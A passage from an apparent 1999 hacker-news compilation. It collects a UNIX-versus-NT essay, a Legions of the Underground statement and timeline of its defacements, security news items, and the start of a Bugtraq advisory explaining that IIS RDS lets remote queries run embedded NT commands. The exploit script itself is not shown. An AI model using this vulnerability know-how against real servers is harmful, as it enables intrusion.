      up the learning curve I looked back at UNIX with the feeling I'd been
      demoted from a backhoe to a leaf-blower. NT just didn't offer room
      to move. The one-size-fits-all, point-and-click,
      we've-already-anticipated-all-your-needs world of NT had me
      yearning for those obscure command-line flags and man -k. I wanted
      to craft my own solutions from my own toolbox, not have my ideas
      slammed into the visually homogenous, prepackaged, Soviet world of
      Microsoft Foundation Classes. 

      NT was definitely much too close to image culture for my comfort:
      endless point-and-click graphical dialog boxes, hunting around the
      screen with the mouse, pop-up after pop-up demanding my attention.
      The experience was almost exclusively reactive. Every task demanded
      a GUI-based utility front-end loaded with insidious assumptions about
      how to visualize (and thus conceptualize) the operation. I couldn't think
      "outside the box" because everything literally was a box. There was no
      opportunity for ad hoc consideration of how a task might alternately be
      performed. 

      I will admit NT made my life easier in some respects. I found myself
      doing less remembering (names of utilities, command arguments,
      syntax) and more recognizing (solution components associated with
      check boxes, radio buttons, and pull-downs). I spent much less time
      typing. Certainly my right hand spent much more time herding the
      mouse around the desktop. But after a few months I started to get a
      tired, desolate feeling, akin to the fatigue I feel after too much channel
      surfing or videogaming: too much time spent reacting, not enough spent
      in active analysis and expression. In short, image-culture burnout. 

      The one ray of light that illuminated my tenure in NT environments was
      the burgeoning popularity of Perl. Perl seemed to find its way into NT
      shops as a CGI solution for Web development, but people quickly
      recognized its power and adopted it for uses far outside the scope of
      Web development: system administration, revision control, remote file
      distribution, network administration. The irony is that Perl itself is a
      subset of UNIX features condensed into a quick-and-dirty scripting
      language. In a literary light, if UNIX is the Great Novel, Perl is the
      Cliffs Notes. 

      Mastery of UNIX, like mastery of language, offers real freedom. The
      price of freedom is always dear, but there's no substitute. Personally,
      I'd rather pay for my freedom than live in a bitmapped, pop-up-happy
      dungeon like NT. I'm hoping that as IT folks become more seasoned
      and less impressed by superficial convenience at the expense of real
      freedom, they will yearn for the kind of freedom and responsibility
      UNIX allows. When they do, UNIX will be there to fill the need. 


      Thomas Scoville has been wrestling with UNIX since 1983. He
      currently works at Expert Support Inc. in Mountain View, CA. 
     
     @HWA
     
34.0 Statement by Legions of the Underground Released 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
          
     From HNN http://www.hackernews.com

     contributed by Steve 
     Optiklenz (Steve Skanton) has asked HNN to publish a
     statement concerning past events involving Legions of
     the Underground. The statement also comments on the
     current state of .gov and .mil web page defacements. 

     Optiklenz's New Statement; July 23rd 1999
     
     Statement of Optiklenz (Steve Stakton), of Legions of the Underground 

      Something needs to be said... 

      First off...
      Earlier this year an assembly of organizations decided to
      release a joint statement "condemning" Legions. This
      evidently was before any of them contacted Legions
      requesting information on what the true plight was.
      Because of some iniquitous media converage a few people
      misunderstood our motives. This of course is in regards to
      the past "China Human Rights incident". 

      We wanted to bring a tragic predicament to surface so
      other people could speak out as well. The media was
      misinformed when they reported about our goals to aid
      these countries in their fight for freedom of speech. They
      (the media) stated we (Legions) wanted to damge certain
      computer networks in other parts of the world. We
      wanted to help them with the situation concerning their
      lack of freedom, and human rights why would we want to
      destroy or damage their networks the same networks that
      give them what little freedom they have to communicate
      as people. That just makes no sense at all. I ask that the
      people who joined to make the statement condemning
      Legions take that into consideration and next time
      contact us so that we could discuss things, and clear up
      misunderstandings. It's not a funny matter when peoples
      lives, and reputations are at stake. 

      As hackers the computer has built our lives, and in turn
      we have built our lives around the computer we would
      never choose to harm such a valuable resource. The term
      hacker doesn't discriminate. You can be a federal agent,
      but the best damn coder in the world and in the sense of
      the word you'll be a hacker. Bill Gates, a hacker turned
      billionaire. Software designers, security specialist the
      people who help protect your networks these people are
      hackers. "Information, and data is to be cherished, (for it
      can only build you not hurt you) cultivated and developed
      not to be annulled or locked up. Hacking is an expansive
      applied knowledge in any technical field. Destruction, and
      the unschooled acts of those who live with out moral are
      what separates the "hackers" (those who's main purpose
      of life is to learn, expand, and apply what they learn) from
      those that go as far as turning the computer on." (-The
      previous quoted statement was excerpted from Keen
      Veracity 3 www.underzine.com). 

      Something serious is going on at the moment. A string of
      "attacks" against our own government. And till now no one
      has said anything. The actions of these groups are
      sincerely half-witted, and absurd for it will at the end
      accomplish nothing except a few more long term jail
      sentences. The current actions of these self-proclaimed
      "hackers" have me infuriated. The people DOS'ing
      government sites, and defacing mil, and gov domains, and
      damaging information these people aren't hackers they are
      nothing more than unschooled adolescent teens with
      nothing better on their hands. They are an endangerment
      to the true aspect of computer science dealt with by the
      hacker community. Call what they are doing what you
      want, but don't call it "hacking" because it's not. So many
      articles have surfaced which referred to what these
      cracker cults are doing as "hacking" ex; "Hackers attack
      government" - "Hackers strike again" (false) Call them
      destructive call them by their first name but for the sake
      of god don't just yank out the term "hackers" for a better
      story for the sake of god don't defile the name "hacker"
      for your personal gain. A hacker lives by a strong code of
      ethics. We wouldn't be issuing this statement if we didn't. 

      A government investigation is currently pending on the
      above matters If we dont do something about this now
      the government will surely hold us accountable, and I'm
      not talking jail time. We have a lot to lose if we dont stop
      these people from making us look bad. Though we are not
      affliated with them directly certain mainstream media has
      left a misleading trail. Some of our rights as computer
      partisans may be a stake here. With that said I ask that
      all sites that archive these senseless hacks suspend
      documenting these fatuous acts for the time being. The
      script kiddies that go out and target government and
      military servers are media crazy, and you are only adding
      fuel to their fire by flashing their work to the public. A
      note to the lamers This is where it ENDS... In the end it's
      what you choose to do that makes you who you are. So
      make sure what you choose to do doesn't make you look
      like an ass. 

      www.hackernews.com/archive/1999/noaa/index.html
      www.hackernews.com/archive/1999/army/index.html
      www.hackernews.com/archive/1999/monmouth/index.html
      www.hackernews.com/archive/1999/argonne/index.html
      www.hackernews.com/archive/1999/nswcl/index.html
      www.hackernews.com/archive/1999/senate2/index.html
      www.hackernews.com/archive/1999/bnl/index.html
      www.hackernews.com/archive/1999/doi/index.html

      The above is an archive of recent government, and
      military site defacements done by what seems to be
      comparable to the works of 5 year olds... 

      Look at the archived sites, and tell me something doesn't
      need to be done. 

      Just letting people know we aren't going for their childish
      actions. We dont advocate any of the trash being done
      by these uninspired idiots. we're "hackers" the other white
      meat! 

      ------------------001--------------------------------
      the below is an email, and responce excerpted from Keen
      Veracity 4
      -----------------------------------------------------
      [mail] 
      Do you still hack?

      [responce] 

      Well it depends on your analogue of hacking. By the
      authentic formalization I "hack" everyday. Whether I'm
      coding, or doing Network checks it's still hacking. Hacking
      has little to do with the "illegal" entry of computer
      systems apart from the Technical, and systematic aspect
      of it. Illegally accessing a system for no intended reason is
      not something I advocate or advise performing. What I
      suggest achieving is going out, and learning, and
      questioning the system itself before trying to exploit it.
      And even once you feel you have a broad knowledge of
      the system make sure you use what you know to build
      things, and not fuck things up. System admins who are
      affected by crackers turn to hackers in order to secure
      their systems. They turn to the philosophies, documents,
      and programs written by "hackers"... Let's not make them
      look the other way. We are here, and we are skilled. What
      your brain dead system administrator can do in a week we
      can accomplish in a matter of minutes more practically.
      That's the message that should be put across. One of
      positively not one that says "Were going to take you
      down." Read my introduction in Keen Veracity 3 I go into
      greater detail on the subject at hand.
      http://www.t00ned.org/optik/kv/kv3.txt 

      -Steve Stakton 

      Steve Stakton - optik@shockimaging.com -(optiklenz)
      -Head Security Advisor for NACC

      Legions Of the Underground - Our title name is not meant
      to seem dark. Don't get the misconception that we are
      some sort of cult or only wear black. The computer
      Underground is a symbol something that is important, and
      we treasure it's existence so in it's honor we use Legions
      Of the Underground. We are just a bunch of computer
      enthusiast who enjoy working together. Nothing more
      nothing less. 

     HNN Archive for December 19, 1999 - LoU Declares War
     http://www.hackernews.com/archive.html?122998.html
     
     HNN Archive for January 7, 1999 - Joint Statement Condemning LoU
     http://www.hackernews.com/archive.html?010799.html
     
     Chronological Listing of Past Events     
     http://www.hackernews.com/archive/louwar/louhist.html
     
     Chronology in Brief from HNN;
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
      The LoU-China-Iraq War Histograph


      Below is an attempt to chronicle the events in the
      LoU-China-Iraq War. We have made every attempt to be
      accruate. If you have corrections to be made please send
      us mail. 


      October 26, 1998
      In an attempt to polish its tarnished human-rights image
      China launches a web site to give their perspective on the
      issue.
      Wired 
      http://www.wired.com/news/news/politics/story/15831.html

      October 27, 1998
      Legions of the Underground defaces the Chinese human
      rights web site that went online the day before.
      Wired
      http://www.wired.com/news/news/politics/story/15831.html
      www.humanrights-china.org
      HNN Archive of Hacked Page
      http://www.hackernews.com/archive/china1098/ChinaFuckOff.html
      HNN Archive for October 28, 1998
      http://www.hackernews.com/archive.html?102898.html

      December 1, 1998
      Bronc Buster, a member of the Legions of the Underground,
      attacks China's network firewalls.
      HNN Archive for December 1, 1998
      http://www.hackernews.com/archive.html?120198.html
      Wired 
      http://www.wired.com/news/news/politics/story/16545.html?wnpg=1

      December 4, 1998
      China charges a software dealer with subversion after
      supplying western dissidents with 30,000 email address.
      Wired 
      http://www.wired.com/news/news/politics/story/16648.html 


      December 28, 1998
      Two Chinese crackers are sentaced to death after cracking
      a bank computer and wiring 720,000 yaun in non-existant
      money to their own bank accounts.
      CNN
      http://www.cnn.com/WORLD/asiapcf/9812/28/BC-CHINA-HACKERS.reut/
      Wired 
      http://www.wired.com/news/news/politics/story/17039.html
      
      December 28, 1998
      In an IRC press conferance Legions of the Underground
      declares war on China and Iraq. They call for the complete
      destruction of all computer systems in both countries. HNN
      is first to report on the story the following morning
      HNN Archive for December 29, 1998
      http://www.hackernews.com/archive.html?122998.html
      
      Edited transcript of IRC Press Conferance
      http://www.hackernews.com/archive/louwar/louirc.html
      
      Wired
      http://www.wired.com/news/news/politics/story/17074.html
      
      The Standard Online - Austria
      http://derstandard.at/aktuell/article_web.asp?15471
      
      National Post - Canada
      http://www.nationalpost.com/home.asp?f=981231/2145043.html
      
      

      January 5, 1999
      Team spl0it joins the Legions of the Underground in their
      War against China and Iraq.
      HNN Archive for January 5, 1999 
      http://www.hackernews.com/archive.html?010599.html
      

      January 6, 1999
      Legions of the Underground releases a statement
      contridicting their earlier statements that claims that they
      never had destructive intentions and blame the media for
      letting this get out of hand.
      HNN Archive for January 6, 1999
      http://www.hackernews.com/archive.html?010599.html
      
      LoU Statement 
      http://www.hackernews.com/archive/louwar/lou1.html
      

      January 7, 1999
      An unprecedented joint statement and press release from
      every major hacking group in the world is released
      condeming the Legions of the Underground and their
      Declaration of War.
      HNN Archive for January 7, 1999
      http://www.hackernews.com/archive.html?010799.html
      
      Joint Statement
      http://www.hackernews.com/archive/louwar/jointstat.html
      
      Joint Press Release
      http://www.hackernews.com/archive/louwar/jointpress.html


      January 8, 1999
      Incredible support is seen across the internet for the Joint
      Statement released by the International Hacker Coalition.
      The Legions of the Underground release a statement in
      responce to the international coalition.
      HNN Archive for January 8, 1999
      http://www.hackernews.com/archive?html010999.html
      
      Statement from Legions of the Underground 
      http://www.hackernews.com/archive/louwar/loustat.html
      

      January 11, 1999
      The Chinese web site promoting human-rights is cracked
      again. It is unknown who cracked the site this time.
      http://www.humanrights-china.org 
      Archive of cracked site 
      http://www.hackernews.com/archive/chinaHR/chinaHR.html
      
      

      January 13, 1999
      The Legions of the Underground tell Wired magazine that
      the original press conferance was a fake and that the
      people present during the press conferance were spoofed.
      There is no evidence to support this but there is none to
      deny it either. 
      Wired 
      http://www.wired.com/news/news/technology/story/17273.html
      
      January 17, 1999
      Several news orginisations from around the world pick up
      the story. 
      MSNBC
      http://www.msnbc.com/news/232090.asp
      
      Spiegel Online - German
      http://www.spiegel.de/netzwelt/jump.phtml?channel=netzwelt&rub=02&cont=themen/hackerkrieg.html
      
      AP Wire - German
      http://www.yahoo.de/schlagzeilen/19990112/vermischtes/916106760-0916103236-0000307154.html
      
      Kitetoa - French
      http://www.kitetoa.com/Pages/Textes/laguerredeLoU.htm
      

      Februaury 9, 1999
      The Legions of the Underground open a website offering
      web hosting and security consulting services.
      HNN Archive for February 9, 1999 
      http://www.hackernews.com/archive.html?020999.html

      July 23, 1999
      Optiklenz (Steve Stakton) issues a statement concerning
      the hole 'war' and the current state of .gov and .mil web
      page defacements.
      
      Statement
      http://www.hackernews.com/archive/louwar/legspeaks.html 
      
     
     @HWA
     
     
35.0 L0pht Releases Public Beta of AntiSniff 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
     
     From HNN http://www.hackernews.com

      contributed by Weld Pond 
      L0pht Heavy Industries today announced the public
      beta release of its AntiSniff network security software,
      which can detect attackers surreptitiously monitoring a
      computer network. AntiSniff is a whole new breed of
      network security tool, designed to detect remote
      computers that are packet sniffing. 

      L0pht Heavy Industries     
      http://www.l0pht.com/antisniff
        
     @HWA
     
36.0 Bill to Limit Crypto Exports Approved 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com


      contributed by Ryan 
      The House Armed Services Committee has voted 47-6
      to replace an industry-endorsed encryption bill with
      substitute legislation drafted by law enforcement
      advocates. The industry-endorsed bill would relax but
      not remove export controls. The version approved by
      the House Armed Services Committee would grant the
      president complete authority to deny any expert
      controls that he considers "contrary to the national
      security interests of the United States." 

      Wired      
      http://www.wired.com/news/news/politics/story/20872.html
      
      Industry Crypto Bill in Peril
      by Declan McCullagh 

      5:00 p.m.  21.Jul.99.PDT
      WASHINGTON -- And you thought
      Congress was going to override White
      House rules restricting US firms from
      exporting encryption products. Well, you
      were wrong. 

      The House Armed Services Committee
      voted 47-6 Wednesday to replace an
      industry-endorsed encryption bill with
      substitute legislation drafted by law
      enforcement advocates. 

      "Proliferation of encryption technology
      would harm our ability to gather vital
      intelligence, jeopardize our early threat
      warning and attack assessment, risk our
      ability to maintain an information-based
      advantage over our enemies, and place
      our nation's most secure systems at risk,"
      said Representative Curt Weldon
      (R-Pennsylvania), who introduced the
      amendment. 

      The tech industry bill, sponsored by
      Virginia Republican Bob Goodlatte, would
      relax but not remove export controls on
      everyday encryption products, such as
      Web browsers and email programs. The
      version approved by the House Armed
      Services Committee would grant the
      president complete authority to deny any
      expert controls that he considers
      "contrary to the national security
      interests of the United States." 

      The House Rules Committee will decide
      what version, if any, will be voted on by
      the entire chamber. Experts expect that
      if the industry-backed version wins,
      opponents would try to add crippling
      amendments during a floor vote. 

      Weldon's bill contains no domestic
      restrictions on encryption, but the
      measure is hardly what tech firms had
      hoped for. It says any White House
      export decision cannot be challenged in
      court -- an attempt to block lawsuits like
      one brought by a math professor that
      won a recent victory in the Ninth Circuit
      Court of Appeals. 

      Under Weldon's plan, the president will
      set the "maximum level of encryption
      strength" that companies may export and
      will convene a 12-member "Encryption
      Industry and Information Security Board"
      to advise on how widespread foreign
      encryption products are. 

      "It's exactly the type of vote you'd
      expect from the House Armed Services
      Committee," said Jim Lucier, an analyst at
      Prudential Securities. "This vote is not
      particularly meaningful." 

      Industry groups had warned members of
      the committee that proposals such as
      Weldon's were unacceptable. "ITI
      anticipates counting tomorrow's
      committee mark-up as one of the key
      votes for our 1999 'High-Tech Voting
      Guide,' which will measure congressional
      support for issues of importance to the
      information technology industry," Rhett
      Dawson, president of the Information
      Technology Industry Council, said in a
      letter Tuesday. 

      It didn't work. Not only did industry
      groups lose but prominent Republicans,
      such as J. C. Watts of Oklahoma, voted
      for Weldon's amendment. 

     @HWA
     
37.0 Russian and Ukrainian Govs Monitor Internet Communications 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
     
     From HNN http://www.hackernews.com
     
      contributed by Lionel 
      The FSB (Russia's Federal Security Bureau, ex KGB) and
      the SBU (the Security Service for the Ukraine) require
      that some of their countries' internet providers give
      them control over their network. The FSB asks providers
      to monitor all the communications made by their clients,
      the providers have to accept the control or have their
      license canceled Ukrainian's providers have to accept
      the SBU control in order to get a license. Furthermore,
      they have to buy the hardware used in the monitoring.
      This technology allows the security services to not only
      access the logs but also to read private mail. 

      Yahoo News - French   
      http://www.yahoo.fr/actualite/19990722/multimedia/932640720-yaho150.220799.125237.html 
     
      @HWA
      
      
38.0 Here we go again,  Mitnick to be Sentenced on Monday (Supposedly)
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      

      From HNN http://www.hackernews.com

      contributed by Space Rogue 
      After numerous delays Kevin Mitnick will finally be
      senetenced for the federal charges that he has pleaded
      guilty to. The biggest issue is how much restitution he
      will have to pay if he is ever released. Remember that
      after the Federal case is completed Kevin still needs to
      answer charges from the State of California. The federal
      hearing will be held on Monday July 26, at 1 pm in
      Courtroom 12 at the LA Federal Courthouse, 312 N.
      Spring Street. 

      FREE KEVIN          
      http://www.freekevin.com
      
      @HWA
      
39.0 Virus Infestations on the Rise (?)
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

      From HNN http://www.hackernews.com
      
      contributed by nvirB 
      An annual survey conducted by ICSA Inc. has found the
      rate of virus infections is still rising despite the use of
      Anti-Virus software. 

      ComputerWorld
      http://www.computerworld.com/home/news.nsf/all/9907224icsa
      
      ICSA      
      http://www.icsa.net/99survey/
      
      Corporate virus infection rate on
                         the rise
                       By Kathleen Ohlson


      As security experts keep pounding users and corporation to
      use antivirus software, the rate of virus infections is still
      rising -- despite most PCs and servers having antivirus
      software installed, according to an annual survey conducted
      by ICSA Inc. 

      In January and February of this year, the average rate of
      infection per month per thousand PCs was approximately
      twice the rate in 1998 and four times that of 1997, the
      Reston, Va., security company said. ICSA is affiliated with
      Gartner Group Inc. 

      Yet among the technology professionals surveyed at 300
      U.S. companies and government organizations, 83% said at
      least nine out of 10 of their PCs are protected by some form
      of antivirus software, ICSA said. 

      It's not enough for companies and users to install antivirus
      software on servers and desktops, said Larry Bridwell,
      technical program manager for ICSA Labs, which
      conducted the study. Along with updating the software
      regularly, companies must implement security policies and
      educate users, such as warning them not to open
      documents if they don't know the sender. "It's too
      dangerous," Bridwell said. "Viruses have become very
      dynamic," spreading through downloads and attachments. 

      Other findings include the following: 

           Average recovery time for major infections (25
           infected PCs or more at once) was 24 hours. 

           The median cost for those kinds of virus disasters,
           including employee downtime, was $1,750. Some
           respondents reported that costs totaled $100,000 in a
           single virus event. 

           By spreading through automated e-mail, Melissa hit a
           huge portion of users within the first few weeks.

      Survey sponsors included Computer Associates
      International Inc., Network Associates Inc., Panda Software
      and Symantec Corp. Anyone interested in seeing the results
      can register, free of charge, to view the survey on the ICSA
      Web site. 

      
      ICSA/InfoSecurityMag Press release:
      
      Study Confirms Increased Security Risks of
                                    E-Commerce



      Contacts: 
       Andy Briney
       781-255-0200
       abriney@infosecuritymag.com
                            Barbara Rose
                            ICSA
                            (717)-241-3233
                            brose@icsa.net


      NORWOOD, MA (JULY 8)--A new study confirms that organizations conducting
      Internet e-commerce experience far more information security breaches than those
      that do not conduct e-commerce. According to a survey published today in
      Information Security magazine (www.infosecuritymag.com), companies conducting
      business online are 57 percent more likely to experience a proprietary information
      leak and 24 percent more likely to experience a hacking-related breach. Overall, the
      number of companies hit by an unauthorized access (hacking/cracking) breach
      increased nearly 92 percent from 1997 to 1998, the study reports.

      "The 1999 Information Security Industry Survey" appears in the July 1999 issue of
      Information Security, published by ICSA Inc., the Reston-Va.-based Internet
      security company. Co-sponsored by ICSA and Global Integrity Corp., the study also
      reveals statistics on infosecurity software and hardware use, organizational budgets
      for security, the use and effectiveness of infosecurity policies, and salary and
      personnel issues affecting professionals engaged in securing their organization’s data,
      communications and technology.

      Overall, companies suffered an average loss of $256,000 to security breaches last
      year, according to the study. Of the 745 organizations polled in the survey, 91
      quantified their financial losses for a total of $23.3 million. 

      "Employee access abuses continue to be the most common security breach, but it’s
      clear that the growth of e-business has intensified the threat of computer attacks
      from outside the company’s walls," said Andrew Briney, editor-in-chief of
      Information Security. 

      The number one security priority of survey respondents was protecting their
      organizations against such attacks, according to the survey. More than one in five (21
      percent) said "preventing hackers/crackers" was the single most pressing security
      concern in their organization. "Preventing malicious code and viruses" was the
      biggest concern for 17 percent of respondents, while another 15 percent said "e-mail
      security." 

      For complete survey results, visit Information Security’s Web site at
      www.infosecuritymag.com. 

      Based in Norwood, Mass., Information Security magazine is the leading trade
      monthly for IT, networking and information security practitioners. ICSA, Inc.,
      a Gartner Group affiliate, is the world's source of objective, independent,
      Internet security assurance services. ICSA headquarters are located in Reston
      Va,. For more information, contact ICSA at 703-453-0500.

       

      
      @HWA
      
40.0 Do Handheld Electronics cause Problems with Avionics? 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

     From HNN http://www.hackernews.com

      contributed by kshaddri and others 
      Yesterday HNN reported that a man in England had been
      sentenced to a year in jail for using his cell phone on a
      an airplane. Not being aircraft designers we wondered
      just how serious the risks really where. A lot of people
      took the time to send us some information. 

      Computer-Related Incidents with Commercial Aircraft
      http://www.rvs.uni-bielefeld.de/publications/Incidents/
      
      Electromagnetic Interference with Aircraft Systems:
      why worry?
      http://www.rvs.uni-bielefeld.de/publications/Incidents/DOCS/Research/Rvs/Article/EMI.html
      

      While it would seem that passenger electronics could in
      theory cause problems on board an aircraft it is hard to
      pin down actual instances of this happening. Clearly
      more research is needed before people have to spend
      time in jail.       
      
     @HWA      
     
41.0 Alert: RDS IIS vulnerability/fix 
     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

      Date:         Fri, 23 Jul 1999 12:21:20 -0500 
      Reply-To: ".rain.forest.puppy." <rfp@WIRETRIP.NET> 
      Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> 
      From: ".rain.forest.puppy." <rfp@WIRETRIP.NET> 
      Subject:      Alert: RDS IIS vulnerability/fix 
      X-To:         bugtraq@securityfocus.com 
      To: BUGTRAQ@SECURITYFOCUS.COM 
      
      
        #### ALERT! #### RDS/IIS 4.0 Vulnerability and Script #### ALERT! ####
      
      
             By rain forest puppy / ADM / Wiretrip
      
      
      
          "it...is direct, immediate, and almost 100% guaranteed
           to work....THE NUMBER OF HUGE SITES THAT ARE VULNERABLE
           IS RIDICULOUS!"
                    -Russ Cooper, NTBugtraq
      
      
      
          "This exploit also does *not* require the presence of
           any sample web applications or example code...the
           issue affects at least 50% of the IIS servers I have
           seen"
                    -Greg Gonzalez, NTBugtraq
      
      
      
          "Groovy, baby."
                    -Austin Powers, Spy who Shagged Me
      
      
      
      - - - Table of Contents:
      
      
        1.  Names, PRs and the Media: State of Security Advisories
        2.  RDS Vulnerability Background
        3.  *MY* Guess at Greg's RDS Vulnerability
        4.  Bonus Aspects of My Script
        5.  More Bonus Features
        6.  How to Secure Your Server
        7.  Command Line Options
        8.  Random Q & A
        9.  Signoff
        10. The code!!!!
      
      
      
      
      
      - 1 - Names, PRs and the Media: State of Security Advisories
      
      
         When I was at DefCon, I had an interview with a reporter who was doing
      a story on 'hacker handles'.  Of course, with a handle like Rain Forest
      Puppy, I was a sure-win.  After a 20 minute chat, the last question he
      asked me was "What is your real name?"  Of course, my response was "does
      that matter?"  Well, to him it did.  It seems like it matters to all the
      big, formal media types and vendors.  A perfect example of this would be
      the whole RDS saga.  Greg Gonzalez's original post gave me credit, since
      he used some of what I talked about in my ODBC advisory posted to Bugtraq
      earlier (thanks, Greg!).  Russ Cooper did a recap, but failed to mention
      me.  Microsoft's advisory acknowledged Russ and Greg as well, sans me.
      
      
         Now, I'm not an egomaniac that needs to see my name splashed over
      everything.  For that matter, those of you who know me personally know how
      laid back I am concerning most issues.  The point I'm trying to make is
      whether or not a name is 'unsuitable' for mention in something as flashy
      as a Russ or MS post (although side note, I must admit, Wired and ZDNet
      have lightened up to this fact, especially lately with all the Dildog and
      Orifice talk going on).  If I remember correctly, David Litchfield got
      some mentions for various vulnerability findings he had.  But everyone
      referenced him as David Litchfield, not 'Mnemonix', which is his hacker
      handle (BTW, greetings to Mnemonix.  Thanks for serving as an example. :)
      Even lately, for those of you Bugtraq fans out there (hey, how the hell
      are you reading this, anyway!?!?!), you'll have noticed gone are the
      loveable bytes of 'Aleph1' in place of Elias Levy.  Now, in Aleph1's
      defense, I can see justification of the shift.  But the general fact that
      there is a need/trend for a shift is concerning me.
      
      
         The only taboo I can think of for the 'evil' of a hacker handle is the
      issue of the obvious: anonymity.  Apparently I must be running around
      doing 'very bad things' (funny movie, BTW), and so I need to hide who I
      really am, right?
      
      
         Uh, no.  (For lack of a snappy comeback)
      
      
         I don't want to make this diatribe overly long, since I know you're
      only here for the exploits anyway :)  But seriously, why use a handle?
      Well, there is a sense of tradition, for one.  I shall not explain,
      because I think it's apparent.  The other is a sense of community.  If
      you're going to engage in a security discussion, why not do it with other
      security professionals.  And where can you just so happen to find a large
      gaggle of people who know about security?  Your local IRC server, sitting
      in #hackphreak (watch out, JP logs), #hackteach, etc.  These people have
      nicknames themselves.  So get yourself a nick and join in the
      conversation!
      
      
         But really, I use an alias.  Does that make me evil?  If I told you
      my real name, would that shift your perspective of me into the light of
      good?  We'll get back to this, I want to transgress to another issue.
      
      
         I use a handle.  My only collateral at this point is my name, and my
      name alone.  If I find a big hole, post a research paper, etc, it adds
      nothing but perhaps an "atta'boy" to the accomplishments of my nickname.
      I've talked to people in real life and held discussions about that 'Rain
      Forest Puppy' guy, they not knowing I was Rain Forest Puppy. The
      accomplishments belong to that name, and that name alone...unless I start
      equating that name with other things.  So, let's pretend I did.  Let's say
      I tossed my real name out there, and got that associated with my handle.
      Now people in real life will equate the findings of Rain Forest Puppy to
      me. I can add in my company name.  Now my company can ride the 'success'
      (if you will) of my findings as well, just because they're associated with
      my name.  (Come on, you know these situations exist.  Transmeta is cool
      just because the name 'Linus' is involved.) If I equate all kinds of
      aspects together, I can then distribute the attention (a.k.a. advertising)
      to them all as well.  Think about it....if I found the next remote root
      compromise in, say, sshd, I could slap not only my handle and name but
      also my company name (Amazonian Trees, Inc) all over it!  Wow, would that
      not be great marketing for Amazonian Trees, Inc, especially if it ATI's
      primary service was security related!
      
      
         But hey, it's America.  We live to make money, so it seems.  So why not
      do this?  Right?  Well, 'tis also the trend.
      
      
         Look at all the press releases on security issues.  The most recent one
      was by Greg Gonzalez himself, for his company Information Technologies
      Enterprises, Inc.  The press release is at
      
      
          http://www.infotechent.net/itenews.htm
      
      
      Now, what I find interesting is that Greg has made a post to NTBugtraq
      about the RDS vulnerability, yet will not release details of the
      vulnerability until next week.  Hmmm.  Ok, so he can't release details,
      but he can release press releases about it.  Your point was made with the
      post to NTBugtraq...the point of the press release is to ride the fame to
      gain corporate exposure (which I'm equating as an excessive, corporate,
      political machine type move which isn't all that wonderful).  Not to pick
      on Greg, because it's the trend.  Look at WebTrends.  They issued a press
      release on 'their finding of security vulnerabilities in IIS sample
      scripts' (never mind the fact that I had talked about such in a previous
      Phrack article last December).  The press release is at
      
      
          http://www.webtrends.com/news/releases/release.asp?id=81
      
      
      Wow, a vendor of a security scanner using the finding of vulnerabilities
      as free marketing for their products.  Well, do it where you can, right?
      
      
         I will move off this subject, because L0pht has a nice long
      composition on the matter in the Soapbox on their website, at
      
      
          http://www.l0pht.com/~oblivion/soapbox/index.html
      
      
      One interesting statement L0pht makes, going back to Greg Gonzalez and
      Russ Cooper keeping the details of the RDS vulnerability to themselves for
      a week:
      
      
          "Now we have software vendors keeping things secret. At
           least secret for a substantial period of time. Is this
           the way we want the industry to behave?"
      
      
      Wow, right on, brothers Mudge, Dildog, Weld Pond et al.  Greetings, BTW.
      
      
      ---- Credits and Thank Yous ----------------------------------------------
      
      
      I'd like to take this brief moment to say thank you to L0pht (www.l0pht.com)
      for helping me test my perl script and taking time to review my advisory.
      I'd also like to thank Vacuum of www.technotronic.com and Mike Dinowitz
      of www.houseoffusion.com for their input and testing as well.
      
      
      --------------------------------------------------------------------------
      
      
         So back to the 'only a handle' thing. You have to understand that I
      have a different perspective on it all.  I publish everything under an
      anonymous handle. What do I gain from this?  Nothing personally.  Nadda.
      Zip.  The handle itself may gain some fame, but not me personally.  I do
      not profit from this one way or another.  What I do I do because I want
      to, on my free time--and do it in a manner that is not greedy in any aspect.
      I don't seek to gain, and in the current setup, I really can't gain a
      whole hell of a lot.  But I'm the bad guy, I forgot.  It's much more
      normal to leverage a security vulnerability as a marketing tool than it is
      to just 'give' time and research away.  Wow, I need to get with the Y2K I
      guess.
      
      
         Fine then. (Last tangent, then we'll get to the RDS issue, I promise :)
      So, going back to you seeing me in the light of good....  Could you better
      relate if you had a 'normal' name?  Are you embarrassed to say/use 'Rain
      Forest Puppy' in conversation/publication? (Well, I mean this generically
      for all hacker handles, but I'm specifically talking about mine here)
      Would I be seen as more a security resource/less of a evil hacker if you
      had a name to associate with my handle?  Well, I guess I should make that
      step.  From now on, you can associate Mr. Russell F. Prigogine with the
      nick Rain Forest Puppy (Hmmm...no, the initials are not mere
      coincidence...clever, eh?).  But since the big 'Russ' on campus is Russ
      Cooper, NTBugtraq moderator extraordinaire (who believes sample apps are
      not a security concern worth talking about.  Real slick, Russ), I would
      prefer to have be used Mr. R.F. Prigogine (Mr. optional), if you can't--or
      don't want to--use the nick Rain Forest Puppy.
      
      
         So there.  (As some would say) I sold out (oh, the horror of it).  JP,
      add that to your profile database.  While I gather the broken pieces of my
      dignity we'll move along to what you really want...
      
      
      
      
      
      - 2 -  RDS Vulnerability Background
      
      
         Last Friday Greg Gonzalez (re)posted his findings of vulnerabilities
      in regards to the RDS problems originally detailed in MS98-004, which came
      out around July 16, '98.  He took that issue (which is basically the
      simple fact that 'Remote Data Service' components allow *remote* access to
      your *data*....who would have thought?) and combined it with the Jet
      pipe/VBA delimiter 'feature' I discussed in my recent advisory.  The
      result?
      
      
          1.  You can make remote queries via RDS
          2.  You can embed NT command line commands in queries
      
      
      Well, that's a pretty good combo. (side note, not to brag or anything, but
      I mention the fact that RDS can be used to do that in my ODBC advisory,
      under the title 'Msadc').  But, Greg threw in a twist which supposedly
